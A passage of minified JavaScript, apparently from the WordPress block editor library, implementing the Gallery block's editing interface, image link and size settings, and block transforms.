0:e.link,linkDestination:_s};case Ki:return{href:void 0,linkDestination:vs}}return{}}function ws(e,t){let{rel:n}=t;const o=e?"_blank":void 0;let a;return a=o||n?function(e){let t=e;return void 0===e||(0,St.isEmpty)(t)||(0,St.isEmpty)(t)||(fs.forEach((e=>{const n=new RegExp("\\b"+e+"\\b","gi");t=t.replace(n,"")})),t!==e&&(t=t.trim()),(0,St.isEmpty)(t)&&(t=void 0)),t}(n):void 0,{linkTarget:o,rel:a}}const Es=["core/image"];function Cs(e){let{isHidden:t,className:n,value:o,placeholder:a,tagName:r,captionRef:l,...i}=e;return t?(0,$e.createElement)(We.VisuallyHidden,nt({as:Ze.RichText},i)):(0,$e.createElement)(Ze.RichText,nt({ref:l,value:o,placeholder:a,className:n,tagName:r},i))}const Ss=e=>{const{attributes:t,isSelected:n,setAttributes:o,mediaPlaceholder:a,insertBlocksAfter:r,blockProps:l}=e,{align:i,columns:s,caption:c,imageCrop:u}=t,{children:m,...d}=(0,Ze.useInnerBlocksProps)(l,{allowedBlocks:Es,orientation:"horizontal",renderAppender:!1,__experimentalLayout:{type:"default",alignments:[]}});return(0,$e.createElement)("figure",nt({},d,{className:at()(l.className,"blocks-gallery-grid",{[`align${i}`]:i,[`columns-${s}`]:void 0!==s,"columns-default":void 0===s,"is-cropped":u})}),m,n&&!m&&(0,$e.createElement)(Ue.View,{className:"blocks-gallery-media-placeholder-wrapper"},a),(0,$e.createElement)(Cs,{isHidden:!n&&Ze.RichText.isEmpty(c),tagName:"figcaption",className:at()("blocks-gallery-caption",(0,Ze.__experimentalGetElementClassName)("caption")),"aria-label":(0,je.__)("Gallery caption text"),placeholder:(0,je.__)("Write gallery caption…"),value:c,onChange:e=>o({caption:e}),inlineToolbar:!0,__unstableOnSplitAtEnd:()=>r((0,Ge.createBlock)((0,Ge.getDefaultBlockName)()))}))};const Bs=[];function Ts(e){let{blockGap:t,clientId:n}=e;const o=(0,$e.useContext)(Ze.BlockList.__unstableElementContext),a="var( --wp--style--gallery-gap-default, var( --gallery-block--gutter-size, var( --wp--style--block-gap, 0.5em ) ) )";let r,l=a,i=a;t&&(r="string"==typeof t?(0,Ze.__experimentalGetGapCSSValue)(t):(0,Ze.__experimentalGetGapCSSValue)(null==t?void 0:t.top)||a,i="string"==typeof t?(0,Ze.__experimentalGetGapCSSValue)(t):(0,Ze.__experimentalGetGapCSSValue)(null==t?void 0:t.left)||a,l=r===i?r:`${r} ${i}`);const s=`#block-${n} {\n\t\t--wp--style--unstable-gallery-gap: ${"0"===i?"0px":i};\n\t\tgap: ${l}\n\t}`;return s&&o?(0,$e.createPortal)((0,$e.createElement)((()=>(0,$e.createElement)("style",null,s)),null),o):null}const Ns=[{value:Ji,label:(0,je.__)("Attachment Page")},{value:Yi,label:(0,je.__)("Media File")},{value:Ki,label:(0,je._x)("None","Media item link option")}],Ps=["image"],Is=$e.Platform.isNative?(0,je.__)("ADD MEDIA"):(0,je.__)("Drag images, upload new ones or select files from your library."),zs=$e.Platform.isNative?{type:"stepper"}:{},Ms=(0,Wt.compose)([(0,ps.withViewportMatch)({isNarrow:"< small"})])((function(e){var t,n;const{setAttributes:o,attributes:a,className:r,clientId:l,isSelected:i,insertBlocksAfter:s}=e,{columns:c,imageCrop:u,linkTarget:m,linkTo:d,sizeSlug:p}=a,{__unstableMarkNextChangeAsNotPersistent:g,replaceInnerBlocks:h,updateBlockAttributes:v,selectBlock:b,clearSelectedBlock:_}=(0,it.useDispatch)(Ze.store),{createSuccessNotice:y,createErrorNotice:f}=(0,it.useDispatch)(wt.store),{getBlock:k,getSettings:x,preferredStyle:w}=(0,it.useSelect)((e=>{var t;const n=e(Ze.store).getSettings().__experimentalPreferredStyleVariations;return{getBlock:e(Ze.store).getBlock,getSettings:e(Ze.store).getSettings,preferredStyle:null==n||null===(t=n.value)||void 0===t?void 0:t["core/image"]}}),[]),E=(0,it.useSelect)((e=>{var t;return null===(t=e(Ze.store).getBlock(l))||void 0===t?void 0:t.innerBlocks}),[l]),C=(0,it.useSelect)((e=>e(Ze.store).wasBlockJustInserted(l,"inserter_menu")),[l]),S=(0,$e.useMemo)((()=>null==E?void 0:E.map((e=>({clientId:e.clientId,id:e.attributes.id,url:e.attributes.url,attributes:e.attributes,fromSavedContent:Boolean(e.originalContent)})))),[E]),B=function(e){return(0,it.useSelect)((t=>{var n;const o=e.map((e=>e.attributes.id)).filter((e=>void 0!==e));return 0===o.length?Bs:null!==(n=t(lt.store).getMediaItems({include:o.join(","),per_page:o.length,orderby:"include"}))&&void 0!==n?n:Bs}),[e])}(E),T=function(e,t){const[n,o]=(0,$e.useState)([]);return(0,$e.useMemo)((()=>function(){let a=!1;const r=n.filter((t=>e.find((e=>t.clientId===e.clientId))));r.length<n.length&&(a=!0),e.forEach((e=>{e.fromSavedContent&&!r.find((t=>t.id===e.id))&&(a=!0,r.push(e))}));const l=e.filter((e=>!r.find((t=>e.clientId&&t.clientId===e.clientId))&&(null==t?void 0:t.find((t=>t.id===e.id)))&&!e.fromSavedConent));return(a||(null==l?void 0:l.length)>0)&&o([...r,...l]),l.length>0?l:null}()),[e,t])}(S,B);(0,$e.useEffect)((()=>{null==T||T.forEach((e=>{g(),v(e.clientId,{...P(e.attributes),id:e.id,align:void 0})})),(null==T?void 0:T.length)>0&&_()}),[T]);const N=function(e,t,n){return(0,$e.useMemo)((()=>function(){if(!e||0===e.length)return;const{imageSizes:o}=n();let a={};return t&&(a=e.reduce(((e,t)=>{if(!t.id)return e;const n=o.reduce(((e,n)=>{const o=(0,St.get)(t,["sizes",n.slug,"url"]),a=(0,St.get)(t,["media_details","sizes",n.slug,"source_url"]);return{...e,[n.slug]:o||a}}),{});return{...e,[parseInt(t.id,10)]:n}}),{})),o.filter((e=>{let{slug:t}=e;return(0,St.some)(a,(e=>e[t]))})).map((e=>{let{name:t,slug:n}=e;return{value:n,label:t}}))}()),[e,t])}(B,i,x);function P(e){var t;const n=e.id?(0,St.find)(B,{id:e.id}):null;let o,r;return o=e.className&&""!==e.className?e.className:w?`is-style-${w}`:void 0,r=e.linkTarget||e.rel?{linkTarget:e.linkTarget,rel:e.rel}:ws(m,a),{...Xi(n,p),...xs(n,d,null==e?void 0:e.linkDestination),...r,className:o,sizeSlug:p,caption:e.caption||(null===(t=n.caption)||void 0===t?void 0:t.raw),alt:e.alt||n.alt_text}}function I(e){var t;return Ps.some((t=>{var n;return 0===(null===(n=e.type)||void 0===n?void 0:n.indexOf(t))}))||0===(null===(t=e.url)||void 0===t?void 0:t.indexOf("blob:"))}function z(e){const t="[object FileList]"===Object.prototype.toString.call(e),n=t?Array.from(e).map((e=>e.url?e:Xi({url:(0,xt.createBlobURL)(e)}))):e;n.every(I)||f((0,je.__)("If uploading to a gallery all files need to be image formats"),{id:"gallery-upload-invalid-file",type:"snackbar"});const o=n.filter((e=>e.url||I(e))).map((e=>e.url?e:Xi({url:(0,xt.createBlobURL)(e)}))),a=o.reduce(((e,t,n)=>(e[t.id]=n,e)),{}),r=t?E:E.filter((e=>o.find((t=>t.id===e.attributes.id)))),i=o.filter((e=>!r.find((t=>e.id===t.attributes.id)))).map((e=>(0,Ge.createBlock)("core/image",{id:e.id,url:e.url,caption:e.caption,alt:e.alt})));(null==i?void 0:i.length)>0&&b(i[0].clientId),h(l,r.concat(i).sort(((e,t)=>a[e.attributes.id]-a[t.attributes.id])))}(0,$e.useEffect)((()=>{var e,t,n,a,r,l;d||(g(),o({linkTo:(null===(e=window)||void 0===e||null===(t=e.wp)||void 0===t||null===(n=t.media)||void 0===n||null===(a=n.view)||void 0===a||null===(r=a.settings)||void 0===r||null===(l=r.defaultProps)||void 0===l?void 0:l.link)||Ki}))}),[d]);const M=!!S.length,L=M&&S.some((e=>!!e.id)),R=S.some((e=>{var t,n;return $e.Platform.isNative?0===(null===(n=e.url)||void 0===n?void 0:n.indexOf("file:")):!e.id&&0===(null===(t=e.url)||void 0===t?void 0:t.indexOf("blob:"))})),A=$e.Platform.select({web:{addToGallery:!1,disableMediaButtons:R,value:{}},native:{addToGallery:L,isAppender:M,disableMediaButtons:M&&!i||R,value:L?S:{},autoOpenMediaUpload:!M&&i&&C}}),V=(0,$e.createElement)(Ze.MediaPlaceholder,nt({handleUpload:!1,icon:gs,labels:{title:(0,je.__)("Gallery"),instructions:Is},onSelect:z,accept:"image/*",allowedTypes:Ps,multiple:!0,onError:function(e){f(e,{type:"snackbar"})}},A)),H=(0,Ze.useBlockProps)({className:at()(r,"has-nested-images")});if(!M)return(0,$e.createElement)(Ue.View,H,V);const D=d&&"none"!==d;return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},S.length>1&&(0,$e.createElement)(We.RangeControl,nt({label:(0,je.__)("Columns"),value:c||(F=S.length,F?Math.min(3,F):3),onChange:function(e){o({columns:e})},min:1,max:Math.min(8,S.length)},zs,{required:!0})),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Crop images"),checked:!!u,onChange:function(){o({imageCrop:!u})},help:function(e){return e?(0,je.__)("Thumbnails are cropped to align."):(0,je.__)("Thumbnails are not cropped.")}}),(0,$e.createElement)(We.SelectControl,{label:(0,je.__)("Link to"),value:d,onChange:function(e){o({linkTo:e});const t={},n=[];k(l).innerBlocks.forEach((o=>{n.push(o.clientId);const a=o.attributes.id?(0,St.find)(B,{id:o.attributes.id}):null;t[o.clientId]=xs(a,e)})),v(n,t,!0);const a=[...Ns].find((t=>t.value===e));y((0,je.sprintf)(
/* translators: %s: image size settings */
(0,je.__)("All gallery image links updated to: %s"),a.label),{id:"gallery-attributes-linkTo",type:"snackbar"})},options:Ns,hideCancelButton:!0}),D&&(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Open in new tab"),checked:"_blank"===m,onChange:function(e){const t=e?"_blank":void 0;o({linkTarget:t});const n={},a=[];k(l).innerBlocks.forEach((e=>{a.push(e.clientId),n[e.clientId]=ws(t,e.attributes)})),v(a,n,!0);const r=e?(0,je.__)("All gallery images updated to open in new tab"):(0,je.__)("All gallery images updated to not open in new tab");y(r,{id:"gallery-attributes-openInNewTab",type:"snackbar"})}}),(null==N?void 0:N.length)>0&&(0,$e.createElement)(We.SelectControl,{label:(0,je.__)("Image size"),value:p,options:N,onChange:function(e){o({sizeSlug:e});const t={},n=[];k(l).innerBlocks.forEach((o=>{n.push(o.clientId);const a=o.attributes.id?(0,St.find)(B,{id:o.attributes.id}):null;t[o.clientId]=function(e,t){const n=(0,St.get)(e,["media_details","sizes",t,"source_url"]);return n?{url:n,width:void 0,height:void 0,sizeSlug:t}:{}}(a,e)})),v(n,t,!0);const a=N.find((t=>t.value===e));y((0,je.sprintf)(
/* translators: %s: image size settings */
(0,je.__)("All gallery image sizes updated to: %s"),a.label),{id:"gallery-attributes-sizeSlug",type:"snackbar"})},hideCancelButton:!0}),$e.Platform.isWeb&&!N&&L&&(0,$e.createElement)(We.BaseControl,{className:"gallery-image-sizes"},(0,$e.createElement)(We.BaseControl.VisualLabel,null,(0,je.__)("Image size")),(0,$e.createElement)(Ue.View,{className:"gallery-image-sizes__loading"},(0,$e.createElement)(We.Spinner,null),(0,je.__)("Loading options…"))))),(0,$e.createElement)(Ze.BlockControls,{group:"other"},(0,$e.createElement)(Ze.MediaReplaceFlow,{allowedTypes:Ps,accept:"image/*",handleUpload:!1,onSelect:z,name:(0,je.__)("Add"),multiple:!0,mediaIds:S.filter((e=>e.id)).map((e=>e.id)),addToGallery:L})),$e.Platform.isWeb&&(0,$e.createElement)(Ts,{blockGap:null===(t=a.style)||void 0===t||null===(n=t.spacing)||void 0===n?void 0:n.blockGap,clientId:l}),(0,$e.createElement)(Ss,nt({},e,{images:S,mediaPlaceholder:!M||$e.Platform.isNative?V:void 0,blockProps:H,insertBlocksAfter:s})));var F})),Ls=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"large";const n=(0,St.pick)(e,["alt","id","link","caption"]);n.url=(0,St.get)(e,["sizes",t,"url"])||(0,St.get)(e,["media_details","sizes",t,"source_url"])||e.url;const o=(0,St.get)(e,["sizes","full","url"])||(0,St.get)(e,["media_details","sizes","full","source_url"]);return o&&(n.fullUrl=o),n},Rs=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM5 4.5h14c.3 0 .5.2.5.5v8.4l-3-2.9c-.3-.3-.8-.3-1 0L11.9 14 9 12c-.3-.2-.6-.2-.8 0l-3.6 2.6V5c-.1-.3.1-.5.4-.5zm14 15H5c-.3 0-.5-.2-.5-.5v-2.4l4.1-3 3 1.9c.3.2.7.2.9-.1L16 12l3.5 3.4V19c0 .3-.2.5-.5.5z"})),As=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M14.6 7l-1.2-1L8 12l5.4 6 1.2-1-4.6-5z"})),Vs=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M10.6 6L9.4 7l4.6 5-4.6 5 1.2 1 5.4-6z"})),Hs=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z"})),Ds="none",Fs="file",Gs="post";class $s extends $e.Component{constructor(){super(...arguments),this.onSelectImage=this.onSelectImage.bind(this),this.onRemoveImage=this.onRemoveImage.bind(this),this.bindContainer=this.bindContainer.bind(this),this.onEdit=this.onEdit.bind(this),this.onSelectImageFromLibrary=this.onSelectImageFromLibrary.bind(this),this.onSelectCustomURL=this.onSelectCustomURL.bind(this),this.state={isEditing:!1}}bindContainer(e){this.container=e}onSelectImage(){this.props.isSelected||this.props.onSelect()}onRemoveImage(e){this.container===this.container.ownerDocument.activeElement&&this.props.isSelected&&-1!==[rn.BACKSPACE,rn.DELETE].indexOf(e.keyCode)&&(e.preventDefault(),this.props.onRemove())}onEdit(){this.setState({isEditing:!0})}componentDidUpdate(){const{image:e,url:t,__unstableMarkNextChangeAsNotPersistent:n}=this.props;e&&!t&&(n(),this.props.setAttributes({url:e.source_url,alt:e.alt_text}))}deselectOnBlur(){this.props.onDeselect()}onSelectImageFromLibrary(e){const{setAttributes:t,id:n,url:o,alt:a,caption:r,sizeSlug:l}=this.props;if(!e||!e.url)return;let i=Ls(e,l);if(((e,t)=>!e&&(0,xt.isBlobURL)(t))(n,o)&&a){const{alt:e,...t}=i;i=t}if(r&&!(0,St.get)(i,["caption"])){const{caption:e,...t}=i;i=t}t(i),this.setState({isEditing:!1})}onSelectCustomURL(e){const{setAttributes:t,url:n}=this.props;e!==n&&(t({url:e,id:void 0}),this.setState({isEditing:!1}))}render(){const{url:e,alt:t,id:n,linkTo:o,link:a,isFirstItem:r,isLastItem:l,isSelected:i,caption:s,onRemove:c,onMoveForward:u,onMoveBackward:m,setAttributes:d,"aria-label":p}=this.props,{isEditing:g}=this.state;let h;switch(o){case Fs:h=e;break;case Gs:h=a}const v=(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)("img",{src:e,alt:t,"data-id":n,onKeyDown:this.onRemoveImage,tabIndex:"0","aria-label":p,ref:this.bindContainer}),(0,xt.isBlobURL)(e)&&(0,$e.createElement)(We.Spinner,null)),b=at()({"is-selected":i,"is-transient":(0,xt.isBlobURL)(e)});return(0,$e.createElement)("figure",{className:b,onClick:this.onSelectImage,onFocus:this.onSelectImage},!g&&(h?(0,$e.createElement)("a",{href:h},v):v),g&&(0,$e.createElement)(Ze.MediaPlaceholder,{labels:{title:(0,je.__)("Edit gallery image")},icon:Rs,onSelect:this.onSelectImageFromLibrary,onSelectURL:this.onSelectCustomURL,accept:"image/*",allowedTypes:["image"],value:{id:n,src:e}}),(0,$e.createElement)(We.ButtonGroup,{className:"block-library-gallery-item__inline-menu is-left"},(0,$e.createElement)(We.Button,{icon:As,onClick:r?void 0:m,label:(0,je.__)("Move image backward"),"aria-disabled":r,disabled:!i}),(0,$e.createElement)(We.Button,{icon:Vs,onClick:l?void 0:u,label:(0,je.__)("Move image forward"),"aria-disabled":l,disabled:!i})),(0,$e.createElement)(We.ButtonGroup,{className:"block-library-gallery-item__inline-menu is-right"},(0,$e.createElement)(We.Button,{icon:Ql,onClick:this.onEdit,label:(0,je.__)("Replace image"),disabled:!i}),(0,$e.createElement)(We.Button,{icon:Hs,onClick:c,label:(0,je.__)("Remove image"),disabled:!i})),!g&&(i||s)&&(0,$e.createElement)(Ze.RichText,{tagName:"figcaption",className:(0,Ze.__experimentalGetElementClassName)("caption"),"aria-label":(0,je.__)("Image caption text"),placeholder:i?(0,je.__)("Add caption"):null,value:s,onChange:e=>d({caption:e}),inlineToolbar:!0}))}}const Us=(0,Wt.compose)([(0,it.withSelect)(((e,t)=>{const{getMedia:n}=e(lt.store),{id:o}=t;return{image:o?n(parseInt(o,10)):null}})),(0,it.withDispatch)((e=>{const{__unstableMarkNextChangeAsNotPersistent:t}=e(Ze.store);return{__unstableMarkNextChangeAsNotPersistent:t}}))])($s);function Os(e){let{isHidden:t,...n}=e;return t?(0,$e.createElement)(We.VisuallyHidden,nt({as:Ze.RichText},n)):(0,$e.createElement)(Ze.RichText,n)}const qs=e=>{const{attributes:t,isSelected:n,setAttributes:o,selectedImage:a,mediaPlaceholder:r,onMoveBackward:l,onMoveForward:i,onRemoveImage:s,onSelectImage:c,onDeselectImage:u,onSetImageAttributes:m,insertBlocksAfter:d,blockProps:p}=e,{align:g,columns:h=os(t),caption:v,imageCrop:b,images:_}=t;return(0,$e.createElement)("figure",nt({},p,{className:at()(p.className,{[`align${g}`]:g,[`columns-${h}`]:h,"is-cropped":b})}),(0,$e.createElement)("ul",{className:"blocks-gallery-grid"},_.map(((e,o)=>{const r=(0,je.sprintf)(
/* translators: 1: the order number of the image. 2: the total number of images. */
(0,je.__)("image %1$d of %2$d in gallery"),o+1,_.length);return(0,$e.createElement)("li",{className:"blocks-gallery-item",key:e.id?`${e.id}-${o}`:e.url},(0,$e.createElement)(Us,{url:e.url,alt:e.alt,id:e.id,isFirstItem:0===o,isLastItem:o+1===_.length,isSelected:n&&a===o,onMoveBackward:l(o),onMoveForward:i(o),onRemove:s(o),onSelect:c(o),onDeselect:u(o),setAttributes:e=>m(o,e),caption:e.caption,"aria-label":r,sizeSlug:t.sizeSlug}))}))),r,(0,$e.createElement)(Os,{isHidden:!n&&Ze.RichText.isEmpty(v),tagName:"figcaption",className:at()("blocks-gallery-caption",(0,Ze.__experimentalGetElementClassName)("caption")),"aria-label":(0,je.__)("Gallery caption text"),placeholder:(0,je.__)("Write gallery caption…"),value:v,onChange:e=>o({caption:e}),inlineToolbar:!0,__unstableOnSplitAtEnd:()=>d((0,Ge.createBlock)((0,Ge.getDefaultBlockName)()))}))},Ws=[{value:Gs,label:(0,je.__)("Attachment Page")},{value:Fs,label:(0,je.__)("Media File")},{value:Ds,label:(0,je.__)("None")}],js=["image"],Zs=$e.Platform.select({web:(0,je.__)("Drag images, upload new ones or select files from your library."),native:(0,je.__)("ADD MEDIA")}),Qs=$e.Platform.select({web:{},native:{type:"stepper"}}),Ks=(0,Wt.compose)([We.withNotices,(0,ps.withViewportMatch)({isNarrow:"< small"})])((function(e){const{attributes:t,clientId:n,isSelected:o,noticeUI:a,noticeOperations:r,onFocus:l}=e,{columns:i=os(t),imageCrop:s,images:c,linkTo:u,sizeSlug:m}=t,[d,p]=(0,$e.useState)(),[g,h]=(0,$e.useState)(),{__unstableMarkNextChangeAsNotPersistent:v}=(0,it.useDispatch)(Ze.store),{imageSizes:b,mediaUpload:_,getMedia:y,wasBlockJustInserted:f}=(0,it.useSelect)((e=>{const t=e(Ze.store).getSettings();return{imageSizes:t.imageSizes,mediaUpload:t.mediaUpload,getMedia:e(lt.store).getMedia,wasBlockJustInserted:e(Ze.store).wasBlockJustInserted(n,"inserter_menu")}})),k=(0,$e.useMemo)((()=>o?(0,St.reduce)(t.ids,((e,t)=>{if(!t)return e;const n=y(t),o=(0,St.reduce)(b,((e,t)=>{const o=(0,St.get)(n,["sizes",t.slug,"url"]),a=(0,St.get)(n,["media_details","sizes",t.slug,"source_url"]);return{...e,[t.slug]:o||a}}),{});return{...e,[parseInt(t,10)]:o}}),{}):{}),[o,t.ids,b]);function x(t){if(t.ids)throw new Error('The "ids" attribute should not be changed directly. It is managed automatically when "images" attribute changes');t.images&&(t={...t,ids:(0,St.map)(t.images,(e=>{let{id:t}=e;return parseInt(t,10)}))}),e.setAttributes(t)}function w(e,t){const n=[...c];n.splice(t,1,c[e]),n.splice(e,1,c[t]),p(t),x({images:n})}function E(e){const t=e.id.toString(),n=(0,St.find)(c,{id:t}),o=n?n.caption:e.caption;if(!g)return o;const a=(0,St.find)(g,{id:t});return a&&a.caption!==e.caption?e.caption:o}function C(e){h(e.map((e=>({id:e.id.toString(),caption:e.caption})))),x({images:e.map((e=>({...Ls(e,m),caption:E(e),id:e.id.toString()}))),columns:t.columns?Math.min(e.length,t.columns):t.columns})}(0,$e.useEffect)((()=>{if("web"===$e.Platform.OS&&c&&c.length>0&&(0,St.every)(c,(e=>{let{url:t}=e;return(0,xt.isBlobURL)(t)}))){const e=(0,St.map)(c,(e=>{let{url:t}=e;return(0,xt.getBlobByURL)(t)}));c.forEach((e=>{let{url:t}=e;return(0,xt.revokeBlobURL)(t)})),_({filesList:e,onFileChange:C,allowedTypes:["image"]})}}),[]),(0,$e.useEffect)((()=>{o||p()}),[o]),(0,$e.useEffect)((()=>{var e,t,n,o,a,r;u||(v(),x({linkTo:(null===(e=window)||void 0===e||null===(t=e.wp)||void 0===t||null===(n=t.media)||void 0===n||null===(o=n.view)||void 0===o||null===(a=o.settings)||void 0===a||null===(r=a.defaultProps)||void 0===r?void 0:r.link)||Ds}))}),[u]);const S=!!c.length,B=S&&c.some((e=>!!e.id)),T=(0,$e.createElement)(Ze.MediaPlaceholder,{addToGallery:B,isAppender:S,disableMediaButtons:S&&!o,icon:!S&&gs,labels:{title:!S&&(0,je.__)("Gallery"),instructions:!S&&Zs},onSelect:C,accept:"image/*",allowedTypes:js,multiple:!0,value:B?c:{},onError:function(e){r.removeAllNotices(),r.createErrorNotice(e)},notices:S?void 0:a,onFocus:l,autoOpenMediaUpload:!S&&o&&f}),N=(0,Ze.useBlockProps)();if(!S)return(0,$e.createElement)(Ue.View,N,T);const P=(0,St.map)((0,St.filter)(b,(e=>{let{slug:t}=e;return(0,St.some)(k,(e=>e[t]))})),(e=>{let{name:t,slug:n}=e;return{value:n,label:t}})),I=S&&!(0,St.isEmpty)(P);return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},c.length>1&&(0,$e.createElement)(We.RangeControl,nt({label:(0,je.__)("Columns"),value:i,onChange:function(e){x({columns:e})},min:1,max:Math.min(8,c.length)},Qs,{required:!0})),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Crop images"),checked:!!s,onChange:function(){x({imageCrop:!s})},help:function(e){return e?(0,je.__)("Thumbnails are cropped to align."):(0,je.__)("Thumbnails are not cropped.")}}),(0,$e.createElement)(We.SelectControl,{label:(0,je.__)("Link to"),value:u,onChange:function(e){x({linkTo:e})},options:Ws,hideCancelButton:!0}),I&&(0,$e.createElement)(We.SelectControl,{label:(0,je.__)("Image size"),value:m,options:P,onChange:function(e){x({images:(0,St.map)(c,(t=>{if(!t.id)return t;const n=(0,St.get)(k,[parseInt(t.id,10),e]);return{...t,...n&&{url:n}}})),sizeSlug:e})},hideCancelButton:!0}))),a,(0,$e.createElement)(qs,nt({},e,{selectedImage:d,mediaPlaceholder:T,onMoveBackward:function(e){return()=>{0!==e&&w(e,e-1)}},onMoveForward:function(e){return()=>{e!==c.length-1&&w(e,e+1)}},onRemoveImage:function(e){return()=>{const n=(0,St.filter)(c,((t,n)=>e!==n));p(),x({images:n,columns:t.columns?Math.min(n.length,t.columns):t.columns})}},onSelectImage:function(e){return()=>{p(e)}},onDeselectImage:function(){return()=>{p()}},onSetImageAttributes:function(e,t){c[e]&&x({images:[...c.slice(0,e),{...c[e],...t},...c.slice(e+1)]})},blockProps:N,onFocusGalleryCaption:function(){p()}})))})),Ys=(0,Wt.compose)([We.withNotices])((function(e){return es()?(0,$e.createElement)(Ms,e):(0,$e.createElement)(Ks,e)})),Js=window.wp.hooks,Xs=e=>e?e.split(",").map((e=>parseInt(e,10))):[];(0,Js.addFilter)("blocks.switchToBlockType.transformedBlock","core/gallery/update-third-party-transform-to",(function(e){var t;if(es()&&"core/gallery"===e.name&&(null===(t=e.attributes)||void 0===t?void 0:t.images.length)>0){const t=e.attributes.images.map((t=>{let{url:n,id:o,alt:a}=t;return(0,Ge.createBlock)("core/image",{url:n,id:o?parseInt(o,10):null,alt:a,sizeSlug:e.attributes.sizeSlug,linkDestination:e.attributes.linkDestination})}));delete e.attributes.ids,delete e.attributes.images,e.innerBlocks=t}return e})),(0,Js.addFilter)("blocks.switchToBlockType.transformedBlock","core/gallery/update-third-party-transform-from",(function(e,t){const n=(Array.isArray(t)?t:[t]).find((t=>{var n;return"core/gallery"===t.name&&t.innerBlocks.length>0&&!(null!==(n=t.attributes.images)&&void 0!==n&&n.length)>0&&!e.name.includes("core/")}));if(n){const e=n.innerBlocks.map((e=>{let{attributes:{url:t,id:n,alt:o}}=e;return{url:t,id:n?parseInt(n,10):null,alt:o}})),t=e.map((e=>{let{id:t}=e;return t}));n.attributes.images=e,n.attributes.ids=t}return e}));const ec={from:[{type:"block",isMultiBlock:!0,blocks:["core/image"],transform:e=>{let{align:t,sizeSlug:n}=e[0];t=(0,St.every)(e,["align",t])?t:void 0,n=(0,St.every)(e,["sizeSlug",n])?n:void 0;const o=(0,St.filter)(e,(e=>{let{url:t}=e;return t}));if(es()){const e=o.map((e=>(e.width=void 0,e.height=void 0,(0,Ge.createBlock)("core/image",e))));return(0,Ge.createBlock)("core/gallery",{align:t,sizeSlug:n},e)}return(0,Ge.createBlock)("core/gallery",{images:o.map((e=>{let{id:t,url:n,alt:o,caption:a}=e;return{id:t.toString(),url:n,alt:o,caption:a}})),ids:o.map((e=>{let{id:t}=e;return parseInt(t,10)})),align:t,sizeSlug:n})}},{type:"shortcode",tag:"gallery",attributes:{images:{type:"array",shortcode:e=>{let{named:{ids:t}}=e;if(!es())return Xs(t).map((e=>({id:e.toString()})))}},ids:{type:"array",shortcode:e=>{let{named:{ids:t}}=e;if(!es())return Xs(t)}},columns:{type:"number",shortcode:e=>{let{named:{columns:t="3"}}=e;return parseInt(t,10)}},linkTo:{type:"string",shortcode:e=>{let{named:{link:t}}=e;if(!es())switch(t){case"post":default:return Gs;case"file":return Fs}switch(t){case"post":return Ji;case"file":return Yi;default:return Ki}}}},transform(e){let{named:{ids:t,columns:n=3,link:o}}=e;const a=Xs(t).map((e=>parseInt(e,10)));let r=Ki;return"post"===o?r=Ji:"file"===o&&(r=Yi),(0,Ge.createBlock)("core/gallery",{columns:parseInt(n,10),linkTo:r},a.map((e=>(0,Ge.createBlock)("core/image",{id:e}))))},isMatch(e){let{named:t}=e;return void 0!==t.ids}},{type:"files",priority:1,isMatch:e=>1!==e.length&&(0,St.every)(e,(e=>0===e.type.indexOf("image/"))),transform(e){if(es()){const t=e.map((e=>(0,Ge.createBlock)("core/image",{url:(0,xt.createBlobURL)(e)})));return(0,Ge.createBlock)("core/gallery",{},t)}return(0,Ge.createBlock)("core/gallery",{images:e.map((e=>Xi({url:(0,xt.createBlobURL)(e)})))})}}],to:[{type:"block",blocks:["core/image"],transform:(e,t)=>{let{align:n,images:o,ids:a,sizeSlug:r}=e;return es()?t.length>0?t.map((e=>{let{attributes:{url:t,alt:o,caption:a,title:r,href:l,rel:i,linkClass:s,id:c,sizeSlug:u,linkDestination:m,linkTarget:d,anchor:p,className:g}}=e;return(0,Ge.createBlock)("core/image",{align:n,url:t,alt:o,caption:a,title:r,href:l,rel:i,linkClass:s,id:c,sizeSlug:u,linkDestination:m,linkTarget:d,anchor:p,className:g})})):(0,Ge.createBlock)("core/image",{align:n}):o.length>0?o.map(((e,t)=>{let{url:o,alt:l,caption:i}=e;return(0,Ge.createBlock)("core/image",{id:a[t],url:o,alt:l,caption:i,align:n,sizeSlug:r})})):(0,Ge.createBlock)("core/image",{align:n})}}]},tc=ec,nc={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/gallery",title:"Gallery",category:"media",description:"Display multiple images in a rich gallery.",keywords:["images","photos"],textdomain:"default",attributes:{images:{type:"array",default:[],source:"query",selector:".blocks-gallery-item",query:{url:{type:"string",source:"attribute",selector:"img",attribute:"src"},fullUrl:{type:"string",source:"attribute",selector:"img",attribute:"data-full-url"},link:{type:"string",source:"attribute",selector:"img",attribute:"data-link"},alt:{type:"string",source:"attribute",selector:"img",attribute:"alt",default:""},id:{type:"string",source:"attribute",selector:"img",attribute:"data-id"},caption:{type:"string",source:"html",selector:".blocks-gallery-item__caption"}}},ids:{type:"array",items:{type:"number"},default:[]},shortCodeTransforms:{type:"array",default:[],items:{type:"object"}},columns:{type:"number",minimum:1,maximum:8},caption:{type:"string",source:"html",selector:".blocks-g